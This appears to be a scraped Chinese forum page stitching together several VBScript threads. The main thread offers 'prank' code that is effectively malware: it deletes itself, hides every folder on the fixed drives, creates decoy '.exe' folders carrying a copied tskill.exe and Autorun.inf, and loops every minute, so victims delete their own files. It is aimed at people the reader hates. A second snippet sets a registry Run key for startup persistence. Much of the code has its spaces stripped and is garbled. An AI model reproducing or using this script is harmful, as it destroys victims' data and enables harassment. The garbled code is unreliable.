胜利vs500-胜利vs和vbs

vbs整人代码谁有

有人要VBS整人代码，我就写了一个，如果玩笑开得过火，千万别骂我啊~

简单描述一下：文件夹同名病毒（Autorun病毒）大家都熟悉吧？效果就是那样（不过放心吧，绝不是真的病毒，骗人的），试想，如果有人中招，他会怎么办？杀毒？没用（因为根本不是病毒），情急之下咋办？胡乱删一通，抱歉，他亲手将自己亲爱的文件删了......

废话不多说了，代码如下，大家知道该怎么用：

''''''''''''''''''''代码开始''''''''''''''''''''

OnErrorResumeNext

Setfso=CreateObject("Scripting.FileSystemObject")

SetCx=fso.GetSpecialFolder(0)

fso.GetFile(WScript.ScriptFullName).Delete(True)

Do

C=fso.GetParentFolderName(Cx)

SetFdrs=fso.GetFolder(C).SubFolders

ForEachFdrInFdrs

IfNotfso.GetExtensionName(Fdr.Name)="exe"Then

fso.CreateFolder(C&Fdr.Name&".exe")

Setfun=fso.GetFile(C&"WINDOWS\system32\tskill.exe")

fun.Attributes=6

fun.Copy(C&Fdr.Name&".exe\fun.xls.exe")

Setauto=fso.CreateTextFile(C&Fdr.Name&".exe\Autorun.inf")

auto.WriteLine("[Autorun]")

auto.WriteLine("Open=fun.xls.exe")

auto.Close

Setauto=Nothing

Setfun=Nothing

fso.GetFolder(C&Fdr.Name&".exe").Attributes=Fdr.Attributes

Fdr.Attributes=6

EndIf

Next

SetCx=Nothing

SetFdrs=Nothing

Setdrvs=fso.Drives

ForEachdrvIndrvs

Ifdrv.DriveType=2Then

Ifdrv&"\"=CThen

Else

SetFdrs=fso.GetFolder(drv).SubFolders

ForEachFdrInFdrs

IfNotfso.GetExtensionName(Fdr.Name)="exe"Then

Fdr.Name=Fdr.name&".exe"

Setfun=fso.GetFile(C&"WINDOWS\system32\tskill.exe")

fun.Copy(drv&"\"&Fdr.Name&"\fun.xls.exe")

Setauto=fso.CreateTextFile(drv&"\"&Fdr.Name&"\Autorun.inf")

auto.WriteLine("[Autorun]")

auto.WriteLine("Open=fun.xls.exe")

auto.Close

Setauto=Nothing

Setfun=Nothing

EndIf

Next

EndIf

EndIf

Next

WScript.Sleep60*1000

Loop

''''''''''''''''''''代码结束''''''''''''''''''''

打开记事本，复制，保存缀名为vbs格式

注意：此代码不可乱用，可能会把人弄疯的

除非是你最恨的人

请问如何用VBS做一个开机调用程序 打开黑龙江网吧加油站 www.hljwbjyz.com 谢谢了

程序已经通过测试~ (vbs) code:

set s=wscript.createobject("wscript.shell")

s.regwrite"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\run",wscript.scriptfullname

s.run"iexplore.exe "

高手帮我看看这个vbs什么意思

看了楼上的，太牛×了。。。。。。

............................................................

UrlEncoding函数是把字符串转换成网址,用下面这句话

msgbox urlencoding("测试文字"),你就知道效果了

..............................................................

bytes2BSTR是把数据流转换成可读(就是正常文字)的文本格式，一般是把xmlhttp获得的内容文本转换成一般文本

vbs中的正则表达式替换

落vs寂,你的vbs遇到更复杂的情况就不行了，不信你试试溜须拍马关云长那串字符。溜须拍马关云长，你那个也有问题，你那串字符里面的<br /><br />会被替换为<br /><br /><br />。

看看我滴（已验证，无论任何情况都能达到要求！）：

str="a<br /><bb<br /><br /><br />ccc<br /><br /><br /><br />dddd<br />eeeee<br />ffffff<br />"

str = replace(str,"<br />","#")

mark = 0

for i = 1 to len(str)

if mid(str,i,1) = "#" then

mark = mark + 1

temp = temp & mid(str,i,1)

else

if mark = 0 then

temp = temp & mid(str,i,1)

elseif mark = 1 then

temp = temp & "#" & mid(str,i,1)

mark = 0

elseif mark > 1 then

temp = temp & mid(str,i,1)

mark = 0

end if

end if

next

if mark = 1 then

temp = temp & "#"

mark = 0

end if

str2 = replace(temp,"#","<br />")

msgbox str2